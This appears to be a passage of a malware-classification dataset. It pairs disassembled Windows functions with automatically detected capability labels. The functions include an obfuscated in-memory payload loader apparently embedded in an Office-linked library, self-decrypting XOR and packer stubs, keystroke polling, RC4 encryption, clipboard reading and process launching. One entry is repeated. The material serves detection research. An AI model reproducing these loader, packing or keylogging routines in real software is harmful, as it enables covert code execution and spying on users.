joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000e241
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 8
mov eax, 0x1004b470
call fcn.1000d553
xor ebx, ebx
push 0x100055fc
mov esi, ebx
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov edi, eax
mov eax, dword [0x10055ef4]
test al, 1
jne 0x1000e280
or eax, 1
push 0x1004cca7
mov dword [0x10055ef4], eax
mov dword [0x10055ef0], ebx
call fcn.1002ea65
pop ecx
cmp edi, 0xffffffff
jne 0x1000e28f
mov esi, 0x80004005
jmp 0x1000e3f5
mov ebx, dword [ebp + 8]
movzx eax, bx
push 0x10005614
push eax
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
jne 0x1000e2b3
mov eax, 0x80070057
jmp 0x1000e3f7
push eax
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x1000e285
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov edi, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
cmp ebx, 2
je 0x1000e2ee
cmp ebx, 1
jne 0x1000e3f5
xor ebx, ebx
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov dword [ebp + 0xc], ebx
mov dword [ebp + 8], ebx
push eax
push dword [edi]
lea eax, [ebp + 8]
push eax
mov dword [ebp - 4], ebx
call fcn.1000e3ff
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push eax
call dword [ecx + 0x1c]
mov esi, eax
test esi, esi
jns 0x1000e33a
mov ecx, dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
test ecx, ecx
je 0x1000e3f5
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
jmp 0x1000e3f5
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x10055efc]
jb 0x1000e39e
ja 0x1000e352
mov esi, dword [0x10055ef8]
cmp dword [ebp - 0x14], esi
jbe 0x1000e3a4
push dword [0x10055ef0]
xorps xmm0, xmm0
movlpd qword [0x10055ef8], xmm0
call fcn.1002ea65
push dword [ebp - 0x14]
mov dword [0x10055ef0], ebx
call fcn.1002ea65
pop ecx
pop ecx
mov ecx, eax
mov dword [0x10055ef0], ecx
test ecx, ecx
jne 0x1000e38b
mov esi, 0x8007000e
jmp 0x1000e3e4
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov dword [0x10055ef8], esi
mov dword [0x10055efc], eax
jmp 0x1000e3aa
mov esi, dword [0x10055ef8]
mov ecx, dword [0x10055ef0]
mov eax, dword [ebp + 8]
mov edx, dword [eax]
push ebx
lea ebx, [ebp + 0xc]
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push ebx
push eax
call dword [edx + 0xc]
mov esi, eax
test esi, esi
js 0x1000e3e4
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0x14]
jne 0x1000e3df
cmp ebx, dword [ebp - 0x10]
jne 0x1000e3df
mov eax, dword [0x10055ef0]
mov dword [edi], eax
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
jmp 0x1000e3e4
mov esi, 0x80004005
mov eax, dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
test eax, eax
je 0x1000e3f5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
call fcn.1000d5f3
ret 0xc
Function at 0x1002ea65
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1002ea74
pop dword [ebp - 0x48]
mov eax, 0x1002ea74
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x21075605
sub dword [ebp - 0x58], 0xd2b510ba
mov dword [ebp - 0x54], 0xedcdcca5
sub dword [ebp - 0x54], 0xbb9a8060
mov dword [ebp - 0x50], 0x48ac375
add dword [ebp - 0x50], 0x47c180b9
mov dword [ebp - 0x4c], 0x131726c9
sub dword [ebp - 0x4c], 0x131726c9
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xe93d9b26
add dword [ebp - 0x58], 0x8b34ce30
mov dword [ebp - 0x54], 0xa05cee8d
sub dword [ebp - 0x54], 0x5ef08d18
mov dword [ebp - 0x50], 0x8c603e75
sub dword [ebp - 0x50], 0x28f0d209
mov dword [ebp - 0x4c], 0x46bb0b1d
sub dword [ebp - 0x4c], 0x46bb0b1d
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x46560
push 0
call eax
mov ecx, 0x3845
xor edi, edi
add edi, eax
mov esi, 0x37a9b7f7
sub esi, 0x27a399f7
add esi, dword [ebp - 0x48]
mov ebx, 0x5c5ce52d
add ebx, 0x2c70bfa6
mov dword [ebp - 0x38], 0x4a1f0d0b
mov edx, dword [esi]
sub edx, ebx
xor dword [ebp - 0x2c], 0xeb991618
mov dword [edi], edx
add dword [ebp - 0x18], edx
add edi, 0x78d412c6
add edi, 0x872bed3e
add esi, 0x92788f85
sub esi, 0x92788f81
loop 0x1002eb83
add eax, 0xf2521047
add eax, 0xdaec3a0
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5c64148d
add ecx, 0xb39beb73
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x100388bf
Capabilities:
Enumerate gui resources

Disassembly:
push 0x624
mov eax, 0x1004af99
call fcn.1001de1b
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0x14]
xor esi, esi
mov dword [ebp - 0x61c], ebx
mov dword [ebp - 0x624], edi
mov dword [ebp - 0x618], esi
cmp dword [0x10055e84], esi
jne 0x100388fc
push esi
push 0x100396b2
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x10055e88
call fcn.100416b0
test eax, eax
je 0x10038bdf
inc dword [0x10055e84]
push 0x100
lea eax, [ebp - 0x214]
push eax
push 0x1ff
lea eax, [ebp - 0x614]
push eax
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.MSVCR100.dll__wsplitpath_s]
add esp, 0x24
push 0x1ff
lea eax, [ebp - 0x614]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.MSO.dll_Ordinal_6137]
mov ecx, dword [0x10055e88]
lea eax, [ebp - 0x614]
push eax
mov dword [ebp - 0x620], ecx
mov dword [ebp - 4], esi
call fcn.1002ea65
or dword [ebp - 4], 0xffffffff
mov ebx, eax
jmp 0x10038a45
mov ecx, 0x10055e88
mov dword [edi + 0xc], ebx
call fcn.100416fb
lea ecx, [ebp - 0x630]
mov dword [edi + 4], eax
call fcn.100416a3
mov dword [ebp - 4], 4
mov ecx, ebx
mov dword [ebp - 0x618], esi
mov byte [ebp - 4], 5
call fcn.10041c26
mov ebx, eax
push ebx
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x618], ebx
call fcn.1002ea65
test ebx, ebx
je 0x10038a9e
mov ecx, ebx
call fcn.10040ea3
push ebx
call fcn.1002ea65
pop ecx
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x630]
call fcn.10041bba
mov ebx, eax
mov dword [ebp - 0x618], ebx
test ebx, ebx
je 0x10038b10
mov ecx, ebx
mov byte [ebp - 4], 7
call fcn.1002ea65
push eax
push edi
mov dword [ebp - 0x620], eax
call fcn.1002ea65
push dword [ebp - 0x620]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x10038a90
push 0x14
call fcn.1002ea65
mov ebx, eax
test ebx, ebx
jne 0x10038b21
push 0xfffffffffffffffe
jmp 0x10038b7f
lea eax, [ebx + 8]
push eax
push 0x100549b0
push 0x1000473c
call fcn.1002ea65
test eax, eax
jne 0x10038b1d
push 0x10053448
mov dword [ebx + 4], esi
push edi
mov dword [edi + 0x5c], ebx
call fcn.1002ea65
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x630]
call fcn.100414da
xor eax, eax
jmp 0x10038be2
or dword [ebp - 4], 0xffffffff
pop esi
lea ecx, [ebp - 0x630]
call fcn.100414da
mov eax, esi
jmp 0x10038be2
push 0xfffffffffffffffa
pop eax
call fcn.1001df2e
ret 0x10
Function at 0x1003c427
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1004b3b4
call fcn.1001de1b
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x41c], edx
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
push 2
push ebx
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1003c488
call fcn.1003a493
mov esi, eax
jmp 0x1003c560
push dword [ebp - 0x41c]
push esi
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x1003c4a6
call fcn.1003a493
jmp 0x1003c557
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x1003c49c
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x41c], esi
cmp eax, esi
jae 0x1003c4d9
mov esi, 0x8007000e
jmp 0x1003c559
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1002ea65
mov dword [ebp - 4], 1
jmp 0x1003c50d
cmp dword [ebp - 0x418], 0
je 0x1003c4cf
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x420]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1003c49c
mov eax, dword [ebp - 0x418]
push dword [ebp + 0x14]
xor edx, edx
mov word [eax + ecx*2], dx
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.1002ea65
mov esi, eax
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1003c579
lea ecx, [ebp - 0x418]
call fcn.1003c65f
lea ecx, [ebp - 0x428]
call fcn.1003a479
mov eax, esi
call fcn.1001df2e
ret 0x10
Function at 0x1003c69d
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 8
mov eax, 0x1004b42a
call fcn.1000d553
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x1003c6ee
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], bl
test eax, eax
je 0x1003c6d3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
or dword [ebp - 4], 0xffffffff
test eax, eax
je 0x1003c6e4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, 0x80004005
jmp 0x1003c7be
cmp dword [ebp + 0xc], 0
jne 0x1003c6fe
mov esi, 0x80004003
jmp 0x1003c795
lea eax, [ebp - 0x10]
push eax
call fcn.1002ea65
mov esi, eax
test esi, esi
js 0x1003c795
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_RegisterClipboardFormatW]
test eax, eax
je 0x1003c795
push eax
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
jne 0x1003c733
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1003c6f4
mov eax, dword [ebp - 0x10]
push ecx
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp + 0xc], esp
test eax, eax
je 0x1003c74b
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
push esi
call fcn.1003cef1
mov esi, eax
test esi, esi
js 0x1003c795
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.MSO.dll_Ordinal_469]
mov esi, eax
test esi, esi
js 0x1003c795
push dword [ebp - 0x14]
call fcn.1002ea65
test eax, eax
jne 0x1003c784
mov esi, 0x80004005
jmp 0x1003c795
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
cmp dword [ecx], eax
je 0x1003c795
push eax
push ecx
call fcn.1002ea65
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], bl
test eax, eax
je 0x1003c7ab
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
or dword [ebp - 4], 0xffffffff
test eax, eax
je 0x1003c7bc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
call fcn.1000d5f3
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x7fb1320e
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x5d775d86
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x409ba0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x484a4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047956c
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409c22
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00477446
mov eax, dword [eax]
push 0x4f4c70
push eax
call fcn.00469544
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004797f7
test bl, bl
je 0x409c22
push 0x4f4c70
lea ecx, [esp + 0xc]
call fcn.00479b87
push 0x4f4c7c
lea ecx, [esp + 0xc]
call fcn.00479b87
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x409c5e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004797f7
jmp 0x409d29
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x409ce2
lea edx, [esp + 0x7c]
push 0x4f4c78
push edx
call fcn.00469544
add esp, 8
test eax, eax
je 0x409ce2
lea eax, [esp + 0x7c]
push 0x4f4c74
push eax
call fcn.00469544
add esp, 8
test eax, eax
je 0x409ce2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409c72
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004797f7
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a520
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a582
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a590
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x484acb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4fef30]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40a6c8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a5f6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004797f7
xor eax, eax
jmp 0x40a73f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00479934
push esi
lea ecx, [esp + 0xc]
call fcn.00479bc3
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40a71d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040a520
test eax, eax
jne 0x40a71d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040a520
test eax, eax
jne 0x40a71d
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.0046a5e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a6fc
lea ecx, [esp + 0x14]
push 0x4f4c88
push ecx
call fcn.0046a560
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a6fc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40a6ff
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004798e4
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a60e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004797f7
xor eax, eax
jmp 0x40a73f
mov byte [esi], 0
push 0x4f4c84
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004797f7
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41b050
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41b0be
cmp si, 0x69
ja 0x41b0be
add esi, 0xffd0
cmp si, 0x11
je 0x41b08e
push 0x11
call edi
test ax, ax
jge 0x41b08e
or esi, 0x2000
cmp si, 0x10
je 0x41b0a3
push 0x10
call edi
test ax, ax
jge 0x41b0a3
or esi, 0x4000
cmp si, 0x12
je 0x41b0b8
push 0x12
call edi
test ax, ax
jge 0x41b0b8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41b0cb
mov esi, 0xbd
jmp 0x41b07f
cmp si, 0x6e
jne 0x41b0d8
mov esi, 0xbe
jmp 0x41b07f
cmp si, 0x6f
jne 0x41b079
mov esi, 0xbf
jmp 0x41b07f

Function at 0x41c8d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x50f698]
xor edx, edx
cmp eax, edx
jne 0x41c8f6
xor eax, eax
mov byte [eax + 0x50f598], al
inc eax
cmp eax, 0x100
jl 0x41c8de
mov dword [0x50f698], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x50f598
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41c987
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41c95a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41c928
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41ca00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41ca53
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41ca3a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423aa0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x423c38
cmp ebp, ebx
jle 0x423c38
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x423afe
dec eax
or eax, 0xfffffff8
inc eax
je 0x423b05
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x423b14
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x423b1b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00479538
add esp, 4
cmp eax, ebx
je 0x423b3c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00479538
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x423c2e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x423c15
mov al, byte [edx]
cmp al, 0xc0
jbe 0x423c01
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x423bf6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x423c04
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x423c04
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x423ba0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x423b91
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x426f70
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x486148
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x426fa9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00480ee5
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00480f31
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00427030
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00480f6e
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24